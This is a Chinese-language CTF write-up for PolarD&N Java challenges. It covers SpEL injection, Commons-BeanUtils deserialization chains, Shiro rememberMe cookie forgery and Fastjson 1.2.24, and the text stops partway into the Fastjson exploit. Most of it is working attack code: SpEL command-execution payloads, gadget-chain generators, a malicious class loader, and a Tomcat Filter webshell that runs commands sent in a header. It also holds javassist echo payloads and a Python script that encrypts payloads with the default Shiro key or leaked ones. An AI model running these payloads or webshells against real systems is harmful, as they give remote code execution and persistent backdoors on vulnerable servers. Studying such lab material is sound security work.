PolarD&N Java专题

ezjava

1
2
3
4
5
6
7
8
9
10
11
12
@RestController
@RequestMapping({"/SPEL"})
public class spel {
@RequestMapping({"/vul"})
public String spelVul(String ex) {
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext evaluationContext = new StandardEvaluationContext();
String result = parser.parseExpression(ex).getValue(evaluationContext).toString();
System.out.println(result);
return result;
}
}

SPEL注入(Spring Expression Language)

由浅入深SpEL表达式注入漏洞
绕过可以看这个的最后

  • T(类名),可以指定使用一个类的类方法
    T(java.lang.Runtime).getRuntime().exec("calc")
    这里后端会执行语句,然后由于类型转换问题出现报错,所以没有返回值,springboot抛出空白页和500,但是计算器依然弹出
  • new 类名,可以直接new一个对象,再执行其中的方法
    new java.lang.ProcessBuilder("cmd","/c","calc").start()
    类名最好用全限类名,也就是具体到某个包,不然会因为找不到具体类而报错
  • SpEL语法
1
2
#{1 + 1} 用于执行SpEl表达式,并将值赋给属性
${...} 主要用于加载外部属性文件中的值

两者还可以混合使用,但需要注意的是{}中的内容必须符合SpEL表达式。这里需要换一下SpEL的写法,否则会因为没有使用模板解析表达式,在传入#{后出现报错

常用payload

1
2
3
4
5
${7*7}
T(java.lang.Runtime).getRuntime().exec("nslookup a.com")
T(Thread).sleep(10000)
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com')
new java.lang.ProcessBuilder({'nslookup a.com'}).start()

本题不好回显 不出网 查了下有两种方法直接写回显
BufferedReader

1
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("/bin/sh", "-c", "whoami").start().getInputStream(), "gbk")).readLine()

上面这个只有单行输出
Scanner

1
new java.util.Scanner(new java.lang.ProcessBuilder("/bin/sh", "-c", "find / -name flag*").start().getInputStream(), "gbk").useDelimiter("asfsfsdfsf").next()

这个就可以了 flag在/app/flag.txt

CB链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@Controller
public class IndexController
{
@RequestMapping({"/"})
@ResponseBody
public String index(HttpServletRequest request) {
String ipAddress = request.getHeader("X-Forwarded-For");
if (ipAddress == null) {
ipAddress = request.getRemoteAddr();
}
return "Welcome PolarCTF~ <br>Client IP Address: " + ipAddress;
}

@RequestMapping({"/user"})
@ResponseBody
public String getUser(String user) throws Exception {
byte[] userBytes = Tools.base64Decode(user);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(userBytes));
User userObj = (User)in.readObject();
return userObj.getUserNicename();
}
}

靶机不出网 打恶意类直接执行命令没用 这里题解打了个Filter内存马

用yakit传的话 base64编码之后记得还得url编码特殊字符一下

之前一直拿CB1.8.3传payload 一直不通 这个版本还是得匹配上才行啊 这里是CB1.9.2

思路是基本CB加载恶意类 + 恶意类接受Filter参数并给Filter一个触发点 + Filter类实现rce

CB加载恶意类

用我博客里的CB链也可以

这个EXP是用ysoserial的模版改的 主要就是构造templates这边集成到一个函数里了 同时也不用写编译出类的路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class EXP {
public static void main(String[] args) throws Exception {

final TemplatesImpl templates = createTemplatesImpl(MyClassLoader.class);
// mock method name until armed
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");

// switch method called by comparator
setFieldValue(comparator, "property", "outputProperties");

// switch contents of queue
final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(queue);
byte[] bytes = byteArrayOutputStream.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(bytes));
}

public static <T> T createTemplatesImpl(Class c) throws Exception {
Class<T> tplClass = null;
if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
tplClass = (Class<T>) Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
} else {
tplClass = (Class<T>) TemplatesImpl.class;
}
final T templates = tplClass.newInstance();
final byte[] classBytes = classAsBytes(c);

setFieldValue(templates, "_bytecodes", new byte[][]{
classBytes
});
setFieldValue(templates, "_name", "Pwnr");
return templates;
}
public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException {
Class clazz = obj.getClass();
Field classField = clazz.getDeclaredField(fieldName);
classField.setAccessible(true);
classField.set(obj, fieldValue);
}

public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field classField = clazz.getDeclaredField(fieldName);
classField.setAccessible(true);
return classField.get(obj);
}

public static byte[] classAsBytes(final Class<?> clazz) {
try {
final byte[] buffer = new byte[1024];
final String file = classAsFile(clazz);
final InputStream in = clazz.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
}

public static String classAsFile(final Class<?> clazz) {
return classAsFile(clazz, true);
}

public static String classAsFile(final Class<?> clazz, boolean suffix) {
String str;
if (clazz.getEnclosingClass() == null) {
str = clazz.getName().replace(".", "/");
} else {
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
}
if (suffix) {
str += ".class";
}
return str;
}
}

MyClassLoader(恶意类)

首先获取一手Web上下文 这边有点盲区了 这里还自动getSession()了 为后面能看见JSESSIONID埋下了伏笔(

然后就是反射调用ClassLoader::defineClass() 加载我们后面要说的Filter内存马 算是另一个恶意类

通过cc.newInstance().equals(new Object[]{request,response,session});实例化内存马 通过equals()传参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.util.Base64;

public class MyClassLoader extends AbstractTranslet {
static{
try{
System.out.println("MyClassLoader injection success");
javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
r.setAccessible(true);
org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
javax.servlet.http.HttpSession session = request.getSession();

String classData=request.getParameter("classData");
System.out.println("classData:"+classData);

byte[] classBytes = Base64.getDecoder().decode(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
cc.newInstance().equals(new Object[]{request,response,session});
}catch(Exception e){
e.printStackTrace();
}
}
public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
}
public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
}
}

Filter内存马

implements javax.servlet.Filter起手 重写init() destory() doFilter()

其中doFilter()是我们命令执行的地方 -> 所有匹配URL的请求都会触发doFilter方法

equals()将实例化的Filter内存马动态注册到/*路径下 也就是所有路径

dynamicAddFilter()就是经典Filter内存马注册的步骤 这里面有什么修改tomcat生命周期状态 有待进一步研究

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import javax.servlet.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.stream.Collectors;

public class FilterMem implements javax.servlet.Filter{
private javax.servlet.http.HttpServletRequest request = null;
private org.apache.catalina.connector.Response response = null;
private javax.servlet.http.HttpSession session =null;


public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {}

public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain filterChain) throws IOException, ServletException {
javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)request1;
javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse)response1;
javax.servlet.http.HttpSession session = request.getSession();
String cmd = request.getHeader("Polar-CMD");
System.out.println(cmd);
if (cmd != null) {
System.out.println("1");
response.setHeader("Polar-START", "OK");
// 使用 ProcessBuilder 执行命令
Process process = new ProcessBuilder(cmd.split("\\s+"))
.redirectErrorStream(true)
.start();
System.out.println("2");
// 获取命令执行的输入流
InputStream inputStream = process.getInputStream();

// 使用 Java 8 Stream 将输入流转换为字符串
String result = new BufferedReader(new InputStreamReader(inputStream))
.lines()
.collect(Collectors.joining(System.lineSeparator()));
System.out.println("3");
response.setHeader("Polar-RESULT",result);
} else {
filterChain.doFilter(request, response);
}
}
public boolean equals(Object obj) {
Object[] context=(Object[]) obj;
this.session = (javax.servlet.http.HttpSession ) context[2];
this.response = (org.apache.catalina.connector.Response) context[1];
this.request = (javax.servlet.http.HttpServletRequest) context[0];
try {
dynamicAddFilter(new FilterMem(),"Shell","/*",request);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
return true;
}
public static void dynamicAddFilter(javax.servlet.Filter filter,String name,String url,javax.servlet.http.HttpServletRequest request) throws IllegalAccessException {
javax.servlet.ServletContext servletContext=request.getServletContext();
if (servletContext.getFilterRegistration(name) == null) {
java.lang.reflect.Field contextField = null;
org.apache.catalina.core.ApplicationContext applicationContext =null;
org.apache.catalina.core.StandardContext standardContext=null;
java.lang.reflect.Field stateField=null;
javax.servlet.FilterRegistration.Dynamic filterRegistration =null;
try {
contextField=servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);
contextField=applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);
stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);
filterRegistration = servletContext.addFilter(name, filter);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{url});
java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}catch (Exception e){
}finally {
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}
}
}
}

Result Show

本地出现这个报错基本就表示上传成功了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
java.lang.RuntimeException: InvocationTargetException: java.lang.reflect.InvocationTargetException
at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:171) ~[commons-beanutils-1.9.2.jar!/:1.9.2]
at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721) ~[na:1.8.0_65]
at java.util.PriorityQueue.siftDown(PriorityQueue.java:687) ~[na:1.8.0_65]
at java.util.PriorityQueue.heapify(PriorityQueue.java:736) ~[na:1.8.0_65]
at java.util.PriorityQueue.readObject(PriorityQueue.java:795) ~[na:1.8.0_65]
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_65]
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_65]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_65]
at java.lang.reflect.Method.invoke(Method.java:497) ~[na:1.8.0_65]
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058) ~[na:1.8.0_65]
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900) ~[na:1.8.0_65]
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801) ~[na:1.8.0_65]
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351) ~[na:1.8.0_65]
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371) ~[na:1.8.0_65]
at org.example.controller.IndexController.getUser(IndexController.java:33) ~[classes!/:1.0-SNAPSHOT]
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_65]
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_65]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_65]
at java.lang.reflect.Method.invoke(Method.java:497) ~[na:1.8.0_65]

PolarOA

是shiro key是shiro1.2.4的默认key

默认shiro1.2.4自带的Commons-beanutils1.8.3 那不妨就打CB链 直接试试上题的EXP

看了下序列化数据有点长了 直接base64的话就有5984个字符了

参考:https://p0lar1ght.github.io/posts/PolarD&N_CTF_PolarOA/

出题人说是限制了Cookie长度 要小于3500个字符

用javassist通过字符串动态加载类会少很多很多字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;

import java.io.IOException;

public class DynamicClassGenerator {
public CtClass genPayloadForWin() throws NotFoundException, CannotCompileException, IOException {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("Exp");

if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
clazz.addConstructor(CtNewConstructor.make("public SpringEcho() throws Exception {\n" +
" try {\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
"\n" +
" String te = httprequest.getHeader(\"Host\");\n" +
" httpresponse.addHeader(\"Host\", te);\n" +
" String tc = httprequest.getHeader(\"CMD\");\n" +
" if (tc != null && !tc.isEmpty()) {\n" +
" String[] cmd = new String[]{\"cmd.exe\", \"/c\", tc}; \n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
"\n" +
" }\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
" } catch (Exception e) {\n" +
" e.getStackTrace();\n" +
" }\n" +
" }", clazz));

// 兼容低版本jdk
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz;
}
public CtClass genPayloadForLinux() throws NotFoundException, CannotCompileException {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("Exp");

if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
clazz.addConstructor(CtNewConstructor.make("public SpringEcho() throws Exception {\n" +
" try {\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
"\n" +
" String te = httprequest.getHeader(\"Host\");\n" +
" httpresponse.addHeader(\"Host\", te);\n" +
" String tc = httprequest.getHeader(\"CMD\");\n" +
" if (tc != null && !tc.isEmpty()) {\n" +
" String[] cmd = new String[]{\"/bin/sh\", \"-c\", tc};\n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
"\n" +
" }\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
" }\n" +
" }", clazz));

// 兼容低版本jdk
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz;
}
}

这里的思路是直接给要加载的类提供一个构造函数 之后需要直接实例化调用就行

大概就分下面几步

1
2
3
4
5
6
7
8
9
10
// 获取默认类池 只有加载在这个ClassPool中的类才能使用
ClassPool classPool = ClassPool.getDefault();
// 在默认类池中新建一个名为Exp的类
CtClass clazz = classPool.makeClass("Exp");
// addConstructor接受一个CtConstructor 创建该类的构造函数
clazz.addConstructor(CtNewConstructor.make("..."));
// 获取这个类需要的父类 这里是恶意类加载 所以是父类是AbstractTranslet
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
// 设置父类后return clazz即可
clazz.setSuperclass(superClass);

在设定构造函数的时候要注意调用路径都得用绝对路径 至于设置父类为什么不用override了 这里算是一个待解决的点 先留个坑

之后就是正常CB链的构造 正好有个javassist.CtClass::toBytecode() 可以直接生成字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

//shiro无依赖利用链,使用shiro1.2.4自带的cb 1.8.3
public class polar {
public static void main(String[] args) throws Exception {
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl templates = getTemplate();

final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});

// ==================
// 生成序列化字符串
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("shiro_CB.txt"));
oos.writeObject(queue);
}
public static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl getTemplate() throws Exception {
DynamicClassGenerator classGenerator =new DynamicClassGenerator();
CtClass clz = classGenerator.genPayloadForLinux();
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl obj = new com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clz.toBytecode()});
setFieldValue(obj, "_name", "a");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException {
Class clazz = obj.getClass();
Field classField = clazz.getDeclaredField(fieldName);
classField.setAccessible(true);
classField.set(obj, fieldValue);
}
}

再用shiro550的python脚本跑一下就行了

这里我贴个pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>polar</artifactId>
<version>1.0-SNAPSHOT</version>
<url>http://maven.apache.org</url>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.4</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>

</dependencies>

<build>
<finalName>cb</finalName>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>

PolarOA2.0

还是一样的后台 扫描器什么都没扫出来 不是默认密钥 有可能是把密钥改了 也有可能是高版本shiro随机生成密钥

尝试弱口令 确实有 是admin:admin123

登录进去什么都没有 首先考虑信息泄漏 SpringBoot actuator

直接JDumpSpider一把梭

1
2
3
4
5
6
7
===========================================
CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM, key = cLPlJTh9kHAPtGaU+CtGZw==, algName = AES
algMode = GCM, key = weMnS+A3kURXjtq/uEC4sA==, algName = AES

===========================================

而且从/actuator/logfilesystem日志中知道了shiro版本1.8.0

shiro1.8.0自带Commons-beanutils1.9.4 但是CB链照样能用

盲猜一手Cookie字段限制 上面PolarOA1.0的时候其实还有可以优化的空间

这里直接先给出payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class shiro180 {
public static void main(String[] args) throws Exception {
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl templates = getTemplate();

final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});

// ==================
// 生成序列化字符串
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("shiro_CB_short.txt"));
oos.writeObject(queue);
}

public static CtClass genPayloadForLinux() throws CannotCompileException, NotFoundException {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("A");
if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
clazz.addConstructor(CtNewConstructor.make("public B() throws Exception {\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
" String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
" }", clazz));
// 兼容低版本jdk
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz;
}

public static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl getTemplate() throws Exception {

CtClass clz = genPayloadForLinux();
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl obj = new com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clz.toBytecode()});
setFieldValue(obj, "_name", "a");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException {
Class clazz = obj.getClass();
Field classField = clazz.getDeclaredField(fieldName);
classField.setAccessible(true);
classField.set(obj, fieldValue);
}
}

可以看到 和之前对比的区别就在 这里直接把javassist加载类放在和序列化一起了 少了类的调用

同时还删了windows平台的适配 然后能减少的字符串长度 变量长度等等都减小 其实应该还能再短 不过短一点也没什么意义了(

由于shiro1.4.2之后用上了随机密钥 + AES-GCM加密 所以python脚本要改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import subprocess
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
import base64

def generate_payload(command):
popen = subprocess.Popen([r'java', '-jar', r'/Users/jednersaous/ysoserial-all.jar', 'URLDNS', command],stdout=subprocess.PIPE)
return popen.stdout.read()

def bin_read(filepath):
f = open(filepath, "rb")
return f.read()

def rememberMe(plaintext):
key_raw = "kPH+bIxk5D2deZiIxcaaaA==" # shiro1.2.4 default key
key = base64.b64decode(key_raw)

iv = get_random_bytes(AES.block_size)

plaintext_mod = pad(plaintext, AES.block_size)

cipher = AES.new(key, AES.MODE_CBC, iv)

ciphertext = cipher.encrypt(plaintext_mod)
ciphertext_str = base64.b64encode(iv + ciphertext).decode('utf-8')
return ciphertext_str

def rememberMe_GCM(plaintext): # no need for padding, plaintext has the same length as ciphertext
key_raw = input("Please input the base64 key: ")
key = base64.b64decode(key_raw)

iv = get_random_bytes(AES.block_size)

cipher = AES.new(key, AES.MODE_GCM, iv)

enc, tag = cipher.encrypt_and_digest(plaintext)
ciphertext_str = base64.b64encode(iv + enc + tag).decode('utf-8')
return ciphertext_str

if __name__ == '__main__':
# payload = rememberMe(generate_payload("http://xa26wa.dnslog.cn"))
# payload = rememberMe(bin_read("./tmp/shiro_CB.txt"))
payload = rememberMe_GCM(bin_read("./tmp/shiro_CB_short.txt"))

# result print
print("[!] rememberMe_length: \n" + str(len(payload)))
print("[!] rememberMe: \n" + payload)

Fastjson

fastjson1.2.24

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package BOOT-INF.classes.org.polarctf;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import org.polarctf.User;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class JsonController {
@RequestMapping(value = {"/"}, method = {RequestMethod.GET}, produces = {"application/json;charset=UTF-8"})
@ResponseBody
public Object getUser() {
User user = new User();
user.setName("Polar D&N ~!");
user.setId("2022");
return user;
}

@RequestMapping(value = {"/"}, method = {RequestMethod.POST}, produces = {"application/json;charset=UTF-8"})
@ResponseBody
public Object setUser(@RequestBody String jsonString) {
System.out.println(jsonString);
JSONObject jsonObject = JSON.parseObject(jsonString, new Feature[] { Feature.SupportNonPublicField });
User user = (User)jsonObject.toJavaObject(User.class);
user.setId("2023");
return user;
}
}

给了Feature.SupportNonPublicField 那直接尝试TemplatesImpl链了

没任何限制 直接通了

EXP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import javassist.*;

import java.util.Base64;

public class run {
public static void main(String[] args) throws Exception {
try {
CtClass clas = genPayloadForLinux();

byte[] evilCode = clas.toBytecode();
